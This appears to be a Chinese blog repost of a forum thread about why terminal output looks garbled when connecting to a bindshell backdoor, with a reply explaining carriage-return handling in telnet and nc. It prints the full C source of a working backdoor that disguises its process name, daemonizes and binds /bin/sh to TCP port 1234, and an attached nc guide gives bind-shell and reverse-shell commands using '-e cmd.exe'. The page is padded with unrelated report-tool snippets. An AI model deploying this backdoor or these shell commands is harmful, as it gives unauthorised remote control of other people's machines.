emm的一篇回帖 解释了 telnet 和 nc

报表技术之PDF格式报表生成 (JasperResport) 报表技术之PDF格式报表生成 (JasperResport) 1.JasperReport IText PDF 类库 , 编程非常复杂 ,运维成本非常高 2.IReport 图形化报表开发工具 下载安装 下载网址: http://community.jaspersoft.com/project/ireport-designer/releases 安 阅读详情
请教一个bindshell.c中看到的问题!请指教!谢谢!

运行了bindshell这个程序以后,用别的电脑进入这个程序监听的端口,进去以后,发现那些输出的字符串的位置并不是我们平常看到的那样,要是使用ls -l显示就更明显了!他们的位置是按照一定的规则显示,但是这位置却是不正常的!不知道这个问题怎么解决?

如果要解决这个问题该怎么添加代码?

要解决该用到什么知识?是输出重定向吗?

刚开始接触这些东西,真希望有人能指点一下!就算不懂也帮我顶一下好吗?




代码是ayazero给的那个!

*
* Unknown author.
*/


#define PORT 1234
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;

int main (int argc, char *argv[])
{
int i;
for(i=0;i<argc;i++) {
memset(argv[i],'x0',strlen(argv[i]));
};
strcpy(argv[0],"th1s iz mY 3l1t3 baCkd00r");

soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1)
exit(-1);
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (soc_rc != 0)
exit(-1);
if (fork() != 0)
exit(0);
setpgrp();
signal(SIGHUP, SIG_IGN);
if (fork() != 0)
exit(0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);
while (1) {
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
if (soc_cli < 0)
exit(0);
cli_pid = getpid();
server_pid = fork();
if (server_pid != 0) {
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
exit(0);
}
close(soc_cli);
}
}



telnetd服务段的代码有多长?bindshell.的代码多长?
bindshell只是让你exec command,并没有完整的远程登录协议支持终端会话控制



envymask




这个问题,就让愚人来解释一下:

归根结底,还是回车控制符在作怪。

还有就是Windows下面的Telnet.exe不够智能化。

Windows下面的Telnet.exe默认发送的命令结束符是按照标准的Telnet协议来的,以/r作为命令结束符,且命令结束,敲回车时,只发送一个/r字符作为结束。但在上面的bindshell.c中,明显没有处理好各种命令结束符,一律以/n来作为命令结束符。这时候,不管你输入什么东西,都看不到预期的结果,只能看到一些光标一样的东西一闪一闪地,因为没有发送/n作为命令结束符,所以Telnetd认为命令还没有输入完,所以永远看不到结果。解决办法是设置telnet的环境变量set crlf,这样,在telnet.exe中敲回车,发送的是/r/n,虽然命令可以执行成功,但必须在命令最后多敲一个“;”号,而且格式非常乱,最后还会冒出一个“: command not found”,就像楼猪说的那样。

为什么会造成这样的问题呢?先来解决第一个问题,因为命令结束后,敲入回车,Telnet.exe发送的是/r/n,bindshell.c会认为/n前面的都是命令,当然也把/r包括进去了,比如输入“ls”,真正发送到bindshell.c的字符串其实是“ls/r/n”,bindshell.c就认为/n是命令结束符,把/n去掉,留下的就是“ls/r”而不是“ls”,当然,这个命令是不存在的,所以会返回: command not found。要想达到真正ls命令的目的,就要发送“ls;”,这时发送到bindshell.c的字符串是“ls;/r/n”,除去/n控制字符,剩下的就是“ls;/r”,为什么现在就能执行成功了呢?是因为那是两条命令,中间被“;”字符分割开了。分别执行了“ls”和“/r”命令,当然,第一个是肯定可以执行成功的,但第二条“/r”命令不会执行成功,因为没有“/r”命令,它只是一个控制字符。所以,在ls命令反回成功之后 ,会紧跟着一个: command not found。第二个问题,为什么返回的ls结果,会杂乱无章呢,这个也是因为Telnet.exe没有把bindshell.c的返回结果处理好,bindshell.c返回的行尾是以/n结束的,我想,如果是/r/n来结束,应该会按预期想像的那样把结果打印到控制台。

Unix下面的Telnet客户端就比Windows下面的智能一些了,它会自动判断当前会话是否Telnet协议,如果不是,则发送/n作为命令结束符,那么这样正合bindshell.c的意思,一切如故。

NC也比较傻瓜,也是命令/n作为命令结束符,但以/n作为命令结束符,也符合bindshell.c的意愿,所以不管是在Windows下,还是Unix下,使用NC连接都可以达到预期的效果。

我上面所说的,都是自已抓包分析得到的结果,如果说错了,表拿鸡蛋砸我,我可没收钱。




Maco可视化报表设计器 2.1 创建报表 2.2 数据源管理 2.3 数据 维度=X轴 度量=Y轴 多个维度时以最下面一个为X轴 2.4 标题 标题可配置项: 标题高度 标题名称 标题颜色 标题尺寸(字体大小) 对齐方式(左对齐、居中、右对齐) 字体加粗、倾斜、下划线 背景颜色 背景圆角 上下左右边距(相对于标题边的高度、宽度) 2.5 选择项 ... 阅读详情

相关推荐

iReport 5.6.0组件实战指南:从基础到高级报表设计

本文是iReport 5.6.0组件的实战指南,系统讲解了从基础到高级的报表设计。内容涵盖静态文本、动态数据绑定、列表与表格组件的应用,并深入探讨了子报表实现多源数据整合等高级技巧。同时提供了解决中文乱码、样式管理及性能优化的实用避坑指南,帮助开发者高效掌握这一经典报表设计工具。

weixin_28487433的博客 314

nctelnet工具

nc是一款很不错的网络检测工具,以下是详细使用。 'nc.exe -h'即可看到各参数的使用方法。 基本格式:nc [-options] hostname port[s] [ports] ...    nc -l -p port [options] [hostname] [port] -d 后台模式 -e prog 程序重定向,一旦连接,就执行 [危险!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h 帮助信息 -i secs 延时的间隔 -l 监听模式,用于入站连接 -L 连接关闭后,仍然继续监听 -n 指定数字的IP地址,不能用hostname -o file 记录16进制的传输 -p port 本地端口号 -r 随机本地及远程端口 -s addr 本地源地址 -t 使用TELNET交互方式 -u UDP模式 -v 详细输出--用两个-v可得到更详细的内容 -w secs timeout的时间 -z 将输入输出关掉--用于扫描时 端口的表示方法可写为M-N的范围格式。 1)连接到远程主机 格式:nc -nvv 192.168.x.x 80 讲解:连到192.168.x.x的TCP80端口 2)监听本地主机 格式:nc -l -p 80 讲解:监听本机的TCP80端口 3)扫描远程主机 格式:nc -nvv -w2 -z 192.168.x.x 80-445 讲解:扫描192.168.x.x的TCP80到TCP445的所有端口 4)REMOTE主机绑定SHELL,例子: 格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe 讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口 5)REMOTE主机绑定SHELL并反向连接,例子: 格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354 讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口 以上为最基本的几种用法(其实NC的用法还有很多, 当配合管道命令"|"与重定向命令""等等命令功能更强大......)。 6)作攻击程序用,例子: 格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80 格式2:nc -nvv 192.168.x.x 80 c:\log.txt 讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到'c:\log.txt'中,如果把‘>'   改为‘>>'即可以追加日志 附:'c:\log.txt'为日志等 9)作蜜罐用[3],例子: 格式1:nc -L -p 80 a.tgz 或 A:tar -zcf data|nc -l -p 4444 B:nc a 4444 >backup.tgz 传完后ctrl+c中断连接,这样A主机不会生成档案直接传到了backup.tgz,缺点就是不知道啥时候传完,嘿嘿

创建报表

报表对象 在FastReport中一个空白的报表代表一张纸。用户在报表的任何地方可以加入相关对象(显示文本或图片),同时可以定制报表的外观。下面简单的看下标准包中的相关组件。 这些基本对象很有可能需要与“栏”或“文本”对像一起使用。在本单你将进一步学到他们的功能。 文本对象 文本对象具有许多特性。诸如显示文本,边框填充颜色,能显示任意大小任何样式的字体。所有的这些参数可以在工具栏上设置。 现在我们看下此对象的其它特性。举个例子,放一个文本对象,然后在里面输入两行文字: This is a very,

大龙软件工作室 2538

网络命令工具telnetnc

本文内容: 介绍telnetnc两种网络命令工具的异同 介绍telnet在win10Ubuntu下的安装方法,nc在Ubuntu下的安装方法 介绍telnetnc的基本用法 1. 简介 1.1 telnet 简介 1.2 nc 简介 1.3 两者区别 telnet可以实现的功能: 连接服务器端口,并进行通信 登录远程telnet服务器,使用命令行对其进行控制 nc可以实现的功能: ...

iknow_nothing的博客 1万+

网络探索利器:深入理解 ncncat telnet 的作用用法

在网络通信安全测试中,ncncattelnet是三个重要的工具,它们各自在不同场景下具有特殊的用途功能。本文将深入探讨这三种工具的作用使用方法,帮助您更好地理解应用它们。

编码行者的博客 2444

NCtelnet 强大网络命令

nc -l port -c "nc ip new_port" 可以启动一个本地服务器,接受发往指定端口的数据,并转发到ip:new_port的机器上。-n参数表示不使用DNS解析,-w 1参数表示等待1秒钟后超时,targethost是目标主机的地址,1-100表示扫描1到100端口。nc -l 1523 -c "nc 192.168.1.100 1521" ---建立连接后再执行一次。使用nc -vz参数可以进行端口扫描,-v表示输出详细信息,-z表示只扫描端口而不发送数据。

jnrjian的博客 561

在linux上使用ncattelnet简单测试tcp连接

nc -V -lK 9999 在9999端口上监听 -l表示监听 -V 表示显示详细信息 telnet 192.168.3.22 9999 连接到192.168.3.22的9999端口上

wwyyxx26的专栏 2755

JeecgBoot报表组件自动换行导出PDF问题分析与解决方案

在企业报表开发中,数据可视化报表的导出功能是核心需求之一。JeecgBoot的积木报表(JimuReport)作为一款优秀的开源报表工具,提供了强大的报表设计导出功能。然而,在实际使用过程中,许多开发者遇到了一个常见问题:**在报表设计器中设置了自动换行的单元格内容,在导出PDF时却无法正确显示换行效果**。 这个问题不仅影响了报表的美观性,更严重的是可能导致关键数据信息显示不全,影响业务决策...

gitblog_01411的博客 848

FastReport报表设计换行技巧,自动换行设置及注意事项

在FastReport报表设计中,换行是一个看似简单却经常让开发者头疼的问题。正确的换行处理能让报表数据清晰易读,而错误的换行设置则会导致内容截断、排版混乱。经过多次实践摸索

2501_93886130的博客 580

解决JimuReport表格打印数字截断:3步实现自动换行完美适配

你是否遇到过这样的困扰:在使用JimuReport设计表格时,明明设置了自动换行,但打印预览时超长数字依然会超出单元格边界?本文将通过3个实用步骤,彻底解决这一打印排版难题,让你的报表在屏幕显示打印输出时保持一致的专业效果。 ## 问题根源解析 JimuReport作为类Excel操作风格的报表工具,在处理数字内容时默认采用了紧凑排版策略。当表格列宽固定而数字长度超过列宽时,即使在设计界面启

gitblog_01417的博客 446

ireport 设置横向输出_ireport 报表技术文档

简介ireport 传递数据集ireport显示页码ireport 文字自动换行ireport 分组报表ireport 图表Ireport 父子图表简介 JasperReport是一个强大、灵活的报表生成工具,能够展示丰富的页面内容,并将之转换成PDF,HTML,或者 XML格式。该库完全由Java写成,可以用于在各种Java应用程序,包括J2EE,Web应用程序中生成动态内容。只需要将Jaspe...

weixin_39766258的博客 1415

(四)、掌握JasperReports Studio:属性设置全解析,打造专业级报表

JasperReports Studio作为一款强大的报表设计工具,不仅支持复杂的数据展示需求,还提供了丰富的属性设置选项,让您的报表设计既灵活又美观。然而,对于初学者来说,理解并充分利用这些属性可能会显得有些挑战。本文将深入探讨JasperReports Studio中的关键属性设置,包括如何管理文本溢出、优化布局适应动态内容、以及处理缺失数据等重要技巧。

Rainbow的博客 1626

ireport制作报表的经验

ireport制作报表的经验

weixin_49247568的博客 394

stimulsoft入门教程:报表页面上的列

下载Stimulsoft Reports.Ultimate最新版本 通过以下步骤: 运行设计器 连接数据: 创建新连接; 创建新数据源; 设置列选项:列宽,列宽列间距。例如,将列数设置为2 ,间隙等于1 。列宽自动创建。有两列: 将DataBand 放在页面上。 编辑DataBand : 按高度对齐D...

xiaochuachua的博客 762

stimulsoft入门教程:报表与子报表(上)

下载Stimulsoft Reports.Ultimate最新版本 Stimulsoft专题页:全面汇集Stimulsoft视频教程、版本更新、使用教程、应用案例相关开发资源等。执行以下步骤以创建子报表:运行设计器连接数据:创建New Connection;创建New Data Source;将子报表组件添加到报表模板页面上的报表中:编辑子报表组件:如下图所示...

weixin_34248258的博客 176

单据打印处理,自动缩小字体,自动换行

一般ERP系统中单据打印,涉及文字较多的内容,比如品名规格、备注,会需要自动缩小字体,而且要自动换行,这样才能尽量把文字显示的清楚一些。很多报表工具,有直接这样的功能可以使用,但是如果不是用第三方报表组件,而是自己控制打印,就比较麻烦。通过努力也实现了百分之90的效果了: 而且,格式能够自适应纸张,根据用户选择的纸张去调整内容位置,表格打印行数,这样就能满足更多的打印需求。...

科技是第一生产力 1716

1个工具,4个技巧,教你高效制作各种报表

月末月初,年末年中,一大批报表需求涌来。每到这个时候,都觉得自己的表格技能格外鸡肋,看到任何一个N天精通Excel的字眼都格外敏感。 但是,企业里批量的报表,爆炸的需求,纵使有再高的Excel技能也都招架不住。这时候恨不得有大神能写个万能脚本,一键搞定报表制作。 当然,万能的代码是没有的,半自助化的报表工具倒有一个——FineReport。 这是一个开发人员很常用的web报表工具,使用简单,...

Leo的博客 907
上一篇: DLL 反汇编 【其他类文 请到幻影查看】
下一篇: URL Protocol- -(coolice)
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值